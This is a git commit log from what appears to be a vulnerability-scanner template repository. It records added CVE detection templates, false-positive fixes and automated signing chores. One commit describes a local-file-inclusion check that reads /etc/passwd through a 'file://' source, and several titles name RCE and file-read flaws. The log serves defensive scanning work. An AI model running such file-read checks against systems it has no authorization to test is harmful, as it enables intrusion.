Ritik Chaddha 5a37a02ac3 Merge pull request #17382 from projectdiscovery/17373-ENHANCEMENT]-LDAPS-(LDAP-through-LTS)
FIX-17373-ENHANCEMENT]-LDAPS-(LDAP-through-LTS)
2026-10-13 17:43:37 +05:30
ghost 55e8fa367a chore: generate CVEs metadata 🤖 2026-10-13 12:13:30 +00:00
Ritik Chaddha 4202d75386 Merge pull request #17219 from str4k3r/str4k3r/cve-2026-33425
Add CVE-2026-33425 template
2026-10-13 17:43:06 +05:30
ghost 15d3b28088 chore: generate CVEs metadata 🤖 2026-10-13 12:13:00 +00:00
ghost e527479be7 chore: sign templates 🤖 2026-10-13 12:12:57 +00:00
Ritik Chaddha d13622eff3 Merge branch 'main' into str4k3r/cve-2026-33425 2026-10-13 17:42:54 +05:30
Ritik Chaddha fcf5a9f366 Merge pull request #17332 from CalvinTjoaquinn/fix/cve-id-mismatch
fix: cve-id pointing at a different vulnerability in two templates
2026-10-13 17:42:37 +05:30
Ritik Chaddha 3aa6cf3cd0 Merge pull request #17322 from xiangdangloser/main
Add RuoYi Detect technology detection configuration
2026-10-13 17:42:26 +05:30
Ritik Chaddha bd102fd0dd Merge branch 'main' into fix/cve-id-mismatch 2026-10-13 17:42:21 +05:30
Ritik Chaddha b65fa9104e Merge branch 'main' into main 2026-10-13 17:42:14 +05:30
Ritik Chaddha 66e409439c Merge branch 'main' into fix-false-positive-hotstar 2026-10-13 17:40:34 +05:30
ghost df7819896a chore: generate templates checksum 🤖 2026-10-13 12:09:54 +00:00
ghost 9508872191 chore: sign templates 🤖 2026-10-13 12:09:14 +00:00
Ritik Chaddha 22f2b74e29 Merge pull request #17352 from cham423/xff-403-bypass-fp-fix
xff-403-bypass: confirm the bypass with a third no-XFF request to fix false positives
2026-10-13 17:38:54 +05:30
ghost 18f05317c9 chore: sign templates 🤖 2026-10-13 12:08:20 +00:00
ghost 9088f39dd0 chore: generate new addition list 🤖 2026-10-13 12:08:02 +00:00
Ritik Chaddha 10d86f9e7e Merge pull request #17344 from cham423/keycloak-openid-config-fp-fix
keycloak-openid-config: fix false positive on non-Keycloak OIDC endpoints
2026-10-13 17:37:59 +05:30
Ritik Chaddha b2ae4fa8ea Merge branch 'main' into str4k3r/cve-2026-33425 2026-10-13 17:37:35 +05:30
ghost 46c3a5d3f6 chore: generate CVEs metadata 🤖 2026-10-13 12:07:14 +00:00
ghost c4ffcdfddd chore: sign templates 🤖 2026-10-13 12:07:09 +00:00
Ritik Chaddha e73bf94f15 Merge pull request #17335 from EntroVyx/add-cve-2026-69137-suitecrm-ssrf
Add SuiteCRM CVE-2026-69137 template
2026-10-13 17:36:46 +05:30
ghost c8a2d03ce7 chore: generate new addition list 🤖 2026-10-13 12:05:33 +00:00
ghost 0a236ce4aa chore: generate CVEs metadata 🤖 2026-10-13 12:05:04 +00:00
ghost ea5b9b63f7 chore: sign templates 🤖 2026-10-13 12:04:59 +00:00
Ritik Chaddha fb7c501147 Merge pull request #17275 from shreyas-malhotra/fix/cve-2026-34486-port-flexible
Improved CVE-2026-34486 to honor host:port targets (fallback remains 4000)
2026-10-13 17:34:36 +05:30
Ritik Chaddha a2f41766ff Merge pull request #17214 from str4k3r/str4k3r/cve-2026-27934
Add CVE-2026-27934 template
2026-10-13 17:34:25 +05:30
Ritik Chaddha fc951cc45b Merge branch 'main' into fix/cve-2026-34486-port-flexible 2026-10-13 17:34:23 +05:30
ghost 07a4ddf8ca chore: generate templates checksum 🤖 2026-10-13 10:49:26 +00:00
ghost 6c75a6fe51 chore: generate new addition list 🤖 2026-10-13 10:47:59 +00:00
ghost f0f3b0f48f chore: generate CVEs metadata 🤖 2026-10-13 10:47:22 +00:00
ghost 91c75c1070 chore: sign templates 🤖 2026-10-13 10:47:17 +00:00
Roberto Nunes 81ea691845 Merge pull request #17174 from 1dayexploit/cve-2026-6377
Add CVE-2026-6377 - Next4Biz CSM - Arbitrary File Read via DownloadFileHandler
2026-10-13 19:46:55 +09:00
ghost 61bb7c6dc8 chore: sign templates 🤖 2026-10-13 10:46:32 +00:00
Roberto Nunes af8e02343d Merge pull request #17408 from bhutch/jenkins-login
Update jenkins-login.yaml
2026-10-13 19:46:12 +09:00
Ritik Chaddha 0a08121e3f Merge branch 'main' into fix-cve-2024-12849-fingerprint 2026-10-13 16:05:38 +05:30
ghost 5da8f9f7fc chore: generate templates checksum 🤖 2026-10-13 09:21:06 +00:00
ghost b2fb524596 chore: sign templates 🤖 2026-10-13 09:18:46 +00:00
Ritik Chaddha 9d190db992 Merge pull request #17413 from projectdiscovery/ritikchaddha-patch-1
Update CVE-2026-33017.yaml
2026-10-13 14:48:23 +05:30
Ritik Chaddha 5fa17c7d2a Update CVE-2026-33017.yaml 2026-10-13 14:21:09 +05:30
Aman Rawat 0d7770de69 Update generic-linux-lfi.yaml 2026-10-13 13:53:20 +05:30
ghost fb9ca9b84b chore: generate templates checksum 🤖 2026-10-13 08:20:04 +00:00
ghost 46f4aca157 chore: generate new addition list 🤖 2026-10-13 08:18:01 +00:00
ghost c6e11d7e45 chore: generate CVEs metadata 🤖 2026-10-13 08:17:28 +00:00
ghost 4b0755f148 chore: sign templates 🤖 2026-10-13 08:17:16 +00:00
Aman Rawat fb9a7e9df7 Merge pull request #15904 from t0xk/CVE-2022-28108
Add CVE-2022-28108 - Selenium Grid unauthenticated RCE via CSRF
2026-10-13 13:46:54 +05:30
ghost 3d1d905c20 chore: generate templates checksum 🤖 2026-10-13 08:13:51 +00:00
Ritik Chaddha 6ab6946ed0 Merge branch 'main' into template-cve-2026-75650 2026-10-13 13:42:45 +05:30
ghost 2643216d9c chore: generate CVEs metadata 🤖 2026-10-13 08:11:04 +00:00
ghost 7486af9cd9 chore: sign templates 🤖 2026-10-13 08:10:56 +00:00
Aman Rawat dc1c32d6f9 Merge pull request #17411 from projectdiscovery/17409-cve-2026-72898-false-positive-on-patched-metabase-versions
Fix FP CVE-2026-72898.yaml #17409
2026-10-13 13:40:37 +05:30
Ritik Chaddha 0767cae323 Update apache-skywalking-horizon-ui-detect.yaml 2026-10-13 13:34:23 +05:30
Ritik Chaddha 1aa08d40b1 Update apache-skywalking-horizon-ui-config.yaml 2026-10-13 13:32:08 +05:30
Ritik Chaddha f669cd4f82 Update apache-skywalking-horizon-ui-config.yaml 2026-10-13 13:31:39 +05:30
Ritik Chaddha 8d53c1896a Update and rename apache-skywalking-horizon-ui-default-login.yaml to apache-skywalking-default-login.yaml 2026-10-13 13:26:02 +05:30
Ritik Chaddha 7d5bb1c0c4 Update CVE-2026-6377.yaml 2026-10-13 13:20:21 +05:30
Roberto Nunes 1d6fc7bc3a Fix FP CVE-2026-72898.yaml for updated HTTP flow
Updated flow logic and HTTP requests for CVE-2026-72898. Changed request method and added matchers for response validation.
2026-10-13 16:48:33 +09:00
Ritik Chaddha 7ebc6d3a96 Update CVE-2022-28108.yaml 2026-10-13 13:13:16 +05:30
HAROON ARSHAD 1f78094a5f add CVE-2026-102782 simplemembership sqli template 2026-10-13 12:28:10 +05:00
ghost 11d8496dca chore: generate templates checksum 🤖 2026-10-13 06:41:41 +00:00
ghost 77849aed65 chore: generate new addition list 🤖 2026-10-13 06:39:36 +00:00
ghost ea0b0b6379 chore: generate CVEs metadata 🤖 2026-10-13 06:38:56 +00:00
ghost 2cb9eef525 chore: sign templates 🤖 2026-10-13 06:38:53 +00:00
Tarek 707fdb3289 Harden CVE-2025-29927 against middleware-bypass false positives (#17286)
Require middleware rewrite plus auth redirect on baseline endpoints, drop fictitious x-middleware-next header, and add protected-content body marker.
2026-10-13 12:08:48 +05:30
Alex RyabovandRoberto Nunes 1dd43b023a Add CVE-2026-90898 Bifrost MCP command execution template (#17360)
* Add bifrost-stdio Nuclei detection template

* minor improve

* roolback

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-10-13 12:08:32 +05:30
Aman Rawat 0cd3d32b2c Merge branch 'main' into jenkins-login 2026-10-13 11:12:33 +05:30
Aman Rawat 5584bac30f Update jenkins-login.yaml 2026-10-13 11:12:07 +05:30
cham423andClaude Opus 5.5 570e87fda0 CVE-2024-29972: fix false positive on catch-all 200 pages
The matcher only required HTTP 200 and the substring `result=0` anywhere in
the body. Hosts that answer every path with a 200 page match whenever that
page contains `result=0`, which the widely bundled `entities` package emits
in minified form (`this.result=0` in EntityDecoder). Such hosts were reported
as a critical backdoor.

Require `result=0` between `<br>` and `</body>`, matching the full response
body documented in the Outpost24 advisory. Whitespace-tolerant so CRLF line
endings still match. Request unchanged; stale digest removed for re-signing.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-12 22:28:30 -07:00
ghost 24a43e144d chore: generate templates checksum 🤖 2026-10-13 03:21:27 +00:00
ghost ccb0399da8 chore: sign templates 🤖 2026-10-13 03:18:41 +00:00
ghost 92aabf556e chore: update KEV and vKEV tags and metadata 🤖 2026-10-13 03:18:16 +00:00
ghost bf31bd7b6d chore: generate templates checksum 🤖 2026-10-13 02:21:13 +00:00
ghost 4d2dc7599b chore: sign templates 🤖 2026-10-13 02:18:57 +00:00
ghost 846e59d08d chore: update EPSS scores 🤖 2026-10-13 02:18:27 +00:00
ghost 8c608b5787 chore: generate templates checksum 🤖 2026-10-13 01:56:14 +00:00
ghost 2dedcf8b79 chore: sign templates 🤖 2026-10-13 01:53:25 +00:00
Roberto Nunes 65d8d1267c Merge pull request #17397 from kee-reel/jenkins-login-new-title
Add new Jenkins title
2026-10-13 10:53:02 +09:00
Roberto Nunes 902c9f54d9 Update CVE-2026-33425.yaml 2026-10-13 10:51:12 +09:00
Roberto Nunes 9b4beac851 Revise CVE-2026-102489 information and remediation
Update CVE-2026-102489 details including name, description, impact, remediation, and references.
2026-10-13 09:01:47 +09:00
Roberto Nunes d25691c857 Update dell-dpi-default-login.yaml 2026-10-13 07:27:56 +09:00
ghost 3b986f866e chore: generate templates checksum 🤖 2026-10-12 20:08:15 +00:00
ghost c46054442c chore: generate new addition list 🤖 2026-10-12 20:06:07 +00:00
ghost 77fb426c62 chore: sign templates 🤖 2026-10-12 20:05:20 +00:00
ChrisandRoberto Nunes 52243aba4a Add gost-socks5-detect and gost-ssh-detect (#17380)
* Add gost-socks5-detect and gost-ssh-detect

* Update templates
- Sev: info
- Tags
- References

* Refine GOST SOCKS5 detection simple

Updated the description of the GOST SOCKS5 detection and modified the maximum request limit. Removed the code section and adjusted the matchers for better detection.

* Update gost-ssh-detect.yaml

* Update gost-socks5-detect.yaml

* Update gost-ssh-detect.yaml

* Move gost templates to javascript/detection

Both templates use the javascript: protocol, so they belong under
javascript/ rather than network/. gost-ssh-detect combines tcp: with
javascript: via 'flow: tcp(1) && javascript(1)' - every existing template
using that pattern lives under javascript/ (javascript/cves/2018/CVE-2018-0171,
javascript/enumeration/perforce-user-enum,
javascript/misconfiguration/perforce-remote-depot-unauth), while network/
holds tcp-only flows.

Both are info-severity '-detect' templates, so javascript/detection/ is the
matching subdirectory. File contents are unchanged.

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-10-13 01:34:56 +05:30
Brandon Hutchinson e2d07bb5bb Update jenkins-login.yaml 2026-10-12 14:42:14 -05:00
ghost 3d818a6e39 chore: generate templates checksum 🤖 2026-10-12 15:48:35 +00:00
ghost 163a84c200 chore: generate new addition list 🤖 2026-10-12 15:47:40 +00:00
ghost 42113d8dab chore: sign templates 🤖 2026-10-12 15:46:59 +00:00
ghost 7e9ab42b77 chore: generate new addition list 🤖 2026-10-12 15:46:57 +00:00
Aman Rawat e74b8b7264 Merge pull request #17394 from abdo342003/winbox-templates
Add MikroTik WinBox (TCP/8291) detection + CVE-2024-54772 templates
2026-10-12 21:16:35 +05:30
ghost b6d29f96ff chore: generate CVEs metadata 🤖 2026-10-12 15:46:16 +00:00
ghost 6820cfa5ba chore: sign templates 🤖 2026-10-12 15:46:07 +00:00
Aman Rawat 8cd7be2d10 Merge pull request #17348 from moizxsec/cve-2026-63358
Create CVE-2026-63358.yaml
2026-10-12 21:15:46 +05:30
ghost ff7ad08a0b chore: generate templates checksum 🤖 2026-10-12 15:42:53 +00:00
ghost adc2fa48c3 chore: generate new addition list 🤖 2026-10-12 15:42:02 +00:00
Aman Rawat 61afc46d99 Update CVE-2024-54772.yaml 2026-10-12 21:11:32 +05:30
ghost de6e4f4808 chore: generate templates checksum 🤖 2026-10-12 15:41:28 +00:00
ghost 32d7c6737b chore: generate CVEs metadata 🤖 2026-10-12 15:41:22 +00:00
ghost 23cdc39c5f chore: sign templates 🤖 2026-10-12 15:41:19 +00:00
Aman Rawat 94512684c6 Merge pull request #17388 from anirbala98/add-cve-2026-9833
Add CVE-2026-9833 - WordPress plugin Tag Groups < 2.2.0 - Authenticated Reflected XSS
2026-10-12 21:10:57 +05:30
ghost 69a501e30b chore: sign templates 🤖 2026-10-12 15:40:49 +00:00
ghost 101ebbe8cc chore: generate new addition list 🤖 2026-10-12 15:40:37 +00:00
Aman Rawat 38316dd24e Merge pull request #17367 from rxerium/add-hermes-agent-panel
Add Hermes Agent login panel template
2026-10-12 21:10:26 +05:30
Aman Rawat 78ae401132 Merge pull request #17379 from iamkunal9/main
Add Astro framework tech detection and version extract
2026-10-12 21:10:07 +05:30
ghost 0e7ec16f4e chore: sign templates 🤖 2026-10-12 15:39:56 +00:00
Aman Rawat f199e68e44 Merge pull request #17372 from Eren-Akdag/caldera-default-login
Add MITRE Caldera default login template
2026-10-12 21:09:35 +05:30
ghost 48270f3c32 chore: generate new addition list 🤖 2026-10-12 15:39:28 +00:00
ghost 87ddc75b84 chore: generate CVEs metadata 🤖 2026-10-12 15:38:49 +00:00
ghost 28f5f54ab4 chore: sign templates 🤖 2026-10-12 15:38:43 +00:00
Aman Rawat 8f3cefab5d Merge pull request #17211 from str4k3r/str4k3r/cve-2026-54617
Add CVE-2026-54617 template
2026-10-12 21:08:20 +05:30
Abdullah Shahid fa00999409 Create CVE-2026-102489.yaml 2026-10-12 06:49:20 -07:00
ghost 1afc90d09e chore: generate templates checksum 🤖 2026-10-12 12:51:39 +00:00
ghost 467fcbf15b chore: sign templates 🤖 2026-10-12 12:48:45 +00:00
ghost 29bffa2f0d chore: generate new addition list 🤖 2026-10-12 12:17:15 +00:00
ghost 6cd685b5c0 chore: generate CVEs metadata 🤖 2026-10-12 12:16:33 +00:00
761c767a1c Add CVE-2026-91136 - Divi Plus unauthenticated file read (#17396)
* add CVE-2026-91136 divi plus file read template

* Update CVE-2026-91136.yaml

* Update CVE-2026-91136.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-12 17:46:10 +05:30
Roberto Nunes 5563920678 Update CVE-2026-27934.yaml 2026-10-12 19:16:53 +09:00
Kee Reel 32cbc7b17f Add new Jenkins title 2026-10-12 12:04:25 +02:00
Dhiyaneshwaran bc6ef3d7e4 Update CVE-2026-54617.yaml 2026-10-12 14:24:07 +05:30
Roberto Nunes a14cb7788c minor fix, use flow protocol 2026-10-12 17:51:01 +09:00
ghost 6dd47bf6b9 chore: generate new addition list 🤖 2026-10-12 08:30:40 +00:00
ghost 620db69c71 chore: generate CVEs metadata 🤖 2026-10-12 08:29:57 +00:00
Roberto Nunes 78e2166338 Merge pull request #17196 from str4k3r/str4k3r/cve-2026-12609
Add CVE-2026-12609 template
2026-10-12 17:29:13 +09:00
Dhiyaneshwaran 7511e2e71c Update CVE-2026-12609.yaml 2026-10-12 13:53:15 +05:30
Dhiyaneshwaran 9aacfc977a Update CVE-2026-12609.yaml 2026-10-12 13:46:54 +05:30
ghost 555ba39eac chore: generate templates checksum 🤖 2026-10-12 08:07:42 +00:00
ghost c59e2f95a8 chore: generate new addition list 🤖 2026-10-12 08:06:38 +00:00
ghost 9c6adec101 chore: sign templates 🤖 2026-10-12 08:05:54 +00:00
Roberto Nunes 08ea8e1a07 Merge pull request #17279 from str4k3r/str4k3r/cve-2026-27604
Add CVE-2026-27604 template
2026-10-12 17:05:33 +09:00
ghost cfa67a3deb chore: generate CVEs metadata 🤖 2026-10-12 08:05:08 +00:00
ghost d97aab1169 chore: sign templates 🤖 2026-10-12 08:05:03 +00:00
Roberto Nunes f4ce06cc31 Merge pull request #17378 from gnuletik/fix-reference-urls
Fix reference links that are not valid URIs
2026-10-12 17:04:42 +09:00
Dhiyaneshwaran ed396bef53 Update CVE-2026-63358.yaml 2026-10-12 13:28:40 +05:30
Dhiyaneshwaran 97c58b34e7 Update CVE-2026-63358.yaml 2026-10-12 13:27:53 +05:30
Dhiyaneshwaran bab9f6b091 Merge branch 'main' into fix-reference-urls 2026-10-12 13:25:20 +05:30
Dhiyaneshwaran d64e49041d Update CVE-2026-27604.yaml 2026-10-12 13:20:37 +05:30
ghost 90437f8993 chore: generate templates checksum 🤖 2026-10-12 07:48:16 +00:00
ghost 01c8499815 chore: generate new addition list 🤖 2026-10-12 07:47:37 +00:00
ghost eadbd79896 chore: sign templates 🤖 2026-10-12 07:46:53 +00:00
Roberto Nunes d820a9e8e2 Merge pull request #17217 from str4k3r/str4k3r/cve-2026-26077
Add CVE-2026-26077 template
2026-10-12 16:46:32 +09:00
ghost cf1f3998cd chore: sign templates 🤖 2026-10-12 07:45:04 +00:00
Roberto Nunes 0cc27ef315 Merge pull request #17354 from FLX-0x00/main
Add unauthenticated version detection to RabbitMQ Management panel template
2026-10-12 16:44:42 +09:00
Dhiyaneshwaran 8ae78ca6e4 Update CVE-2026-26077.yaml 2026-10-12 13:09:58 +05:30
Dhiyaneshwaran 6660d5c4eb Refactor Astro detection logic in YAML file
Removed classification section and updated matchers for detecting Astro framework sites.
2026-10-12 12:48:24 +05:30
Dhiyaneshwaran 393dc362cb Update caldera-default-login.yaml 2026-10-12 12:45:06 +05:30
Dhiyaneshwaran 682d36c533 Update hikvision-env.yaml 2026-10-12 12:38:26 +05:30
Dhiyaneshwaran 267b6dea84 Update CVE-2021-24335.yaml 2026-10-12 12:36:11 +05:30
Dhiyaneshwaran 3c785bab15 Update CVE-2021-24237.yaml 2026-10-12 12:35:48 +05:30
Dhiyaneshwaran 84a3012451 Update CVE-2021-24235.yaml 2026-10-12 12:35:20 +05:30
Dhiyaneshwaran f6dd9d7d8a Clean up references in CVE-2021-24215.yaml
Removed duplicate references for CVE-2021-24215.
2026-10-12 12:34:33 +05:30
Dhiyaneshwaran d7bcf26720 Update hermes-agent-panel.yaml 2026-10-12 12:25:34 +05:30
shaivarth a8852ef45a dell-dpi-default-login: fix title matcher casing and multi-request evaluation 2026-10-12 09:25:19 +05:30
ghost 2b6fcc2ecb chore: generate templates checksum 🤖 2026-10-12 02:24:52 +00:00
ghost b441914e33 chore: sign templates 🤖 2026-10-12 02:21:59 +00:00
ghost 9d36c7be89 chore: update EPSS scores 🤖 2026-10-12 02:21:30 +00:00
Roberto Nunes 233dce2308 Revise CVE-2026-9833 information and fix formatting
Updated CVE-2026-9833 details including description, impact, and remediation. Adjusted references and tags for clarity.
2026-10-12 10:40:53 +09:00
Roberto Nunes 86f181b417 Revise CVE-2024-54772 details in YAML file
Updated CVE-2024-54772 YAML to reflect new details about MikroTik RouterOS username enumeration vulnerability, including impact and remediation steps.
2026-10-12 10:06:34 +09:00
Roberto Nunes a3fc3d810c Minor fix MikroTik WinBox detection configuration
Updated the MikroTik WinBox service detection to simplify the description and improve the matchers for version detection.
2026-10-12 10:03:34 +09:00
Abdellah Erraoui 2a97334509 Add CVE-2024-54772 WinBox username enumeration template 2026-10-12 00:07:34 +01:00
Abdellah Erraoui c07b2b48e4 Add MikroTik WinBox service detection template 2026-10-12 00:07:33 +01:00
Dhiyaneshwaran c155f674b5 Update CVE-2026-8089 details and remediation 2026-10-11 23:54:00 +05:30
ghost 5db11240bf chore: generate templates checksum 🤖 2026-10-11 02:18:28 +00:00
ghost 6d6b2dd953 chore: sign templates 🤖 2026-10-11 02:15:30 +00:00
ghost 7b40bb0e23 chore: update EPSS scores 🤖 2026-10-11 02:14:50 +00:00
ghost 2958c1b359 chore: generate templates checksum 🤖 2026-10-11 01:10:34 +00:00
ghost 9094608816 chore: generate new addition list 🤖 2026-10-11 01:08:22 +00:00
ghost 959c025ea7 chore: generate CVEs metadata 🤖 2026-10-11 01:07:50 +00:00
ghost 314b6266f1 chore: sign templates 🤖 2026-10-11 01:07:40 +00:00
Roberto Nunes 1d580f7f86 Merge pull request #17386 from projectdiscovery/CVE-2026-93674
CVE-2026-93674 - Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution
2026-10-11 10:07:16 +09:00
ghost 883c2a69ab chore: generate templates checksum 🤖 2026-10-10 02:17:20 +00:00
ghost 222896bb66 chore: sign templates 🤖 2026-10-10 02:13:57 +00:00
ghost d7fb6fce9b chore: update EPSS scores 🤖 2026-10-10 02:13:28 +00:00
anirbala98 61f8829a0b Added CVE-2026-9833 Template 2026-10-09 10:14:29 -04:00
Dhiyaneshwaran a0ef32e6dd CVE-2026-93674 - Langflow OSS <=1.12.2 - Unauthenticated RCE via Import Code Execution 2026-10-09 17:13:35 +05:30
ghost c8664a14c6 chore: generate templates checksum 🤖 2026-10-09 03:19:31 +00:00
ghost ea102a1834 chore: sign templates 🤖 2026-10-09 03:17:18 +00:00
ghost 5cc730638e chore: update KEV and vKEV tags and metadata 🤖 2026-10-09 03:16:52 +00:00
ghost 91e9102261 chore: generate templates checksum 🤖 2026-10-09 02:19:07 +00:00
ghost cecaa35556 chore: sign templates 🤖 2026-10-09 02:16:13 +00:00
ghost 21e3e62bfc chore: update EPSS scores 🤖 2026-10-09 02:15:48 +00:00
anirbala98 0a7d86a764 Added CVE-2026-8089 Template 2026-10-08 10:20:04 -04:00
ArjunSecurin 36de8e8f76 Add CVE-2026-85714 - Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution 2026-10-08 10:10:48 +00:00
ghost 2c25fd202e chore: generate templates checksum 🤖 2026-10-08 05:49:02 +00:00
ghost e341fe64ec chore: generate CVEs metadata 🤖 2026-10-08 05:46:15 +00:00
ghost 5a3f276ab5 chore: sign templates 🤖 2026-10-08 05:46:10 +00:00
Aman Rawat 2da10dcc2f Merge pull request #17007 from Tito0015/main
fix(CVE-2024-51483): refactor changedetection.io LFI to non-destructive settings & watch cleanup
2026-10-08 11:15:49 +05:30
Aman Rawat 9869121317 Merge branch 'main' into main 2026-10-08 11:10:23 +05:30
ghost 24dfd092c6 chore: generate templates checksum 🤖 2026-10-08 03:19:44 +00:00
ghost 114e866cf2 chore: sign templates 🤖 2026-10-08 03:16:38 +00:00
ghost 561827e4ed chore: update KEV and vKEV tags and metadata 🤖 2026-10-08 03:16:13 +00:00
ghost 6bcd09f77f chore: generate templates checksum 🤖 2026-10-08 02:17:42 +00:00
ghost 4f504c01cf chore: sign templates 🤖 2026-10-08 02:15:07 +00:00
ghost ebc2e9d9f9 chore: update EPSS scores 🤖 2026-10-08 02:14:37 +00:00
Roberto Nunes 1ed006067f Refactor LDAP metadata and enumeration logic
Updated author and description in ldap-metadata.yaml. Enhanced JavaScript code for LDAP enumeration to include TLS port handling and improved metadata extraction.
2026-10-08 11:09:44 +09:00
Roberto Nunes 39ab9e1e13 Refactor LDAP anonymous login detection script
Updated author and enhanced description for LDAP detection. Refactored code to improve port handling and added comments for clarity.
2026-10-08 11:08:49 +09:00
ghost 615e933c80 chore: generate templates checksum 🤖 2026-10-08 01:27:50 +00:00
ghost edf78c9667 chore: generate new addition list 🤖 2026-10-08 01:25:33 +00:00
ghost 0ed21576b5 chore: sign templates 🤖 2026-10-08 01:24:54 +00:00
Roberto Nunes 15c7bb71df Merge pull request #17138 from Popy21/template/cve-2022-27925
CVE-2022-27925
2026-10-08 10:24:29 +09:00
Tito0015 28f055e267 fix(CVE-2024-51483): remove trailing whitespace for yamllint 2026-10-07 13:07:56 -04:00
Ritik Chaddha 6f458c82f7 Update CVE-2022-27925.yaml 2026-10-07 15:42:09 +05:30
Aman Rawat 3708bf0807 Merge branch 'main' into main 2026-10-07 15:38:07 +05:30
Ritik Chaddha b8902716db Update CVE-2024-51483.yaml 2026-10-07 13:08:43 +05:30
ghost 4907f7865c chore: generate templates checksum 🤖 2026-10-07 02:17:38 +00:00
ghost e63490a6cf chore: sign templates 🤖 2026-10-07 02:15:08 +00:00
ghost 5c7cd9271b chore: update EPSS scores 🤖 2026-10-07 02:14:40 +00:00
ghost 973e1f2739 chore: generate templates checksum 🤖 2026-10-07 00:51:05 +00:00
ghost 07f9cee439 chore: generate new addition list 🤖 2026-10-07 00:49:15 +00:00
ghost dd9fbe42de chore: generate CVEs metadata 🤖 2026-10-07 00:48:31 +00:00
ghost 71a625c9c0 chore: sign templates 🤖 2026-10-07 00:48:27 +00:00
Roberto Nunes c741ded22c Merge pull request #17381 from halilkirazkaya/halilkirazkaya-patch-6
Add CVE-2026-21589 for Atlassian file read vulnerability
2026-10-07 09:48:07 +09:00
halilkirazkaya 2e6736f920 Update CVE-2026-21589.yaml 2026-10-07 00:13:47 +03:00
Dhiyaneshwaran e967655c77 Update CVE-2026-21589.yaml 2026-10-07 02:40:00 +05:30
halilkirazkaya 5cf0e5cf09 Add CVE-2026-21589 for Atlassian file read vulnerability
Added CVE-2026-21589 for Atlassian Data Center unauthenticated arbitrary file read vulnerability with details on impact, remediation, and references.
2026-10-07 00:08:13 +03:00
ghost 28648cf38a chore: generate templates checksum 🤖 2026-10-06 20:02:41 +00:00
ghost 1bc545d8ba chore: sign templates 🤖 2026-10-06 19:59:37 +00:00
ViCrack 1470fe86ee Fix Tomcat CVE-2017-12617 false positives (#17370)
* Fix Tomcat CVE-2017-12615 and CVE-2017-12617 matchers

Replace static JSP markers with a random multiplication result so a file server that echoes the uploaded body is not reported as vulnerable.

* Skip the Tomcat JSP check unless PUT returns 201

A new file written by this bug is created with 201. If that status is missing, do not send the follow-up request.
2026-10-07 01:29:13 +05:30
iamkunal9 b37f1c816f chore: add Astro detection template to tech-detect.yaml 2026-10-06 19:49:14 +05:30
Martin DesrumauxandClaude Fable 5.1 fe35e5db4f Keep the slide numbers as PDF page fragments
#page=N is the PDF open parameter browsers honour when a PDF renders
inline, and a fragment keeps the reference a valid URI.

Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 15:06:59 +02:00
Martin DesrumauxandClaude Fable 5.1 8cef38aade Drop the slide note from the description
Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 15:02:55 +02:00
Martin DesrumauxandClaude Fable 5.1 5e74d5c797 Link the AEM dispatcher slides directly
Google Slides addresses a slide with #slide=id.<objectId>, so the three
slides the note named become three references and the description note
is not needed.

Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 14:52:34 +02:00
Martin DesrumauxandClaude Fable 5.1 3265e2038c Link the archived KISA cloud vulnerability guide
isms.kisa.or.kr no longer resolves, but the Wayback Machine holds the
guide's post (2024-06-07, with the PDF attached), so the two templates
can reference that instead of prose.

Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 14:05:01 +02:00
Martin DesrumauxandClaude Fable 5.1 4b67b8cd54 Keep the KISA guide references as they were
The guide's hosting page, isms.kisa.or.kr, no longer resolves, and no
page on a live KISA host carries it, so the prose stays until someone
has a link that works.

Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 14:00:47 +02:00
Martin DesrumauxandClaude Fable 5.1 f93098b8bd Fix reference links that are not valid URIs
Strict RFC 3986 validators (protovalidate's string.uri rule, for one)
reject 43 of the 25,949 reference lines in the repository. Fix them:

- links with a typo: a space typed inside the path, a doubled scheme
  letter (htttps, hhttps), an escape leaked into the link (&, \#, \web)
- several links on one line: one list item per link
- notes after the link ("(Slide 37,38)", "(test endpoint)"): moved to the
  description or dropped
- prose instead of a link: linked the KISA guide and the DOM Invader post
- characters RFC 3986 requires percent-encoded: [ ] " and non-ASCII paths
- a Google Ads tracking URL replaced by the plain site

Digests are left for the signing workflow.

Co-Authored-By: Claude Fable 5.1 <[email protected]>
2026-10-06 13:55:48 +02:00
Dhiyaneshwaran 77d943c68d Revise CVE-2024-10763 details and detection logic
Updated remediation advice and adjusted max-request parameter. Modified matchers and extractors for improved detection.
2026-10-06 13:01:36 +05:30
Tito0015 94a5199750 fix(CVE-2024-51483): non-destructive LFI check with settings restore
Replay settings to enable html_webdriver, use source:file:///etc/passwd,
trigger checknow, match preview, delete watch, and restore fetch_backend.
2026-10-06 02:20:42 -04:00
ghost 58670555f9 chore: generate templates checksum 🤖 2026-10-06 02:12:32 +00:00
ghost ee74809527 chore: sign templates 🤖 2026-10-06 02:09:42 +00:00
ghost bb377bc55e chore: update EPSS scores 🤖 2026-10-06 02:09:17 +00:00
ghost 4844bddcc0 chore: generate templates checksum 🤖 2026-10-06 00:47:53 +00:00
ghost db9ecc26c3 chore: generate new addition list 🤖 2026-10-06 00:46:30 +00:00
ghost aae76fa248 chore: generate new addition list 🤖 2026-10-06 00:46:22 +00:00
ghost eaf884d6b0 chore: generate CVEs metadata 🤖 2026-10-06 00:45:47 +00:00
ghost a5e393be9e chore: sign templates 🤖 2026-10-06 00:45:44 +00:00
Roberto Nunes 687aca766d Merge pull request #17350 from i-am-paradox/add-cve-2026-10818
Add CVE-2026-10818 - WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
2026-10-06 09:45:21 +09:00
Roberto Nunes d208ed48de Merge pull request #17368 from rxerium/add-paperclip-detect
Add Paperclip detection template
2026-10-06 09:45:15 +09:00
ghost a638cbe6c4 chore: generate templates checksum 🤖 2026-10-05 15:30:45 +00:00
ghost d294faf687 chore: generate CVEs metadata 🤖 2026-10-05 15:28:58 +00:00
ghost 6fe741cf4d chore: generate templates checksum 🤖 2026-10-05 14:38:45 +00:00
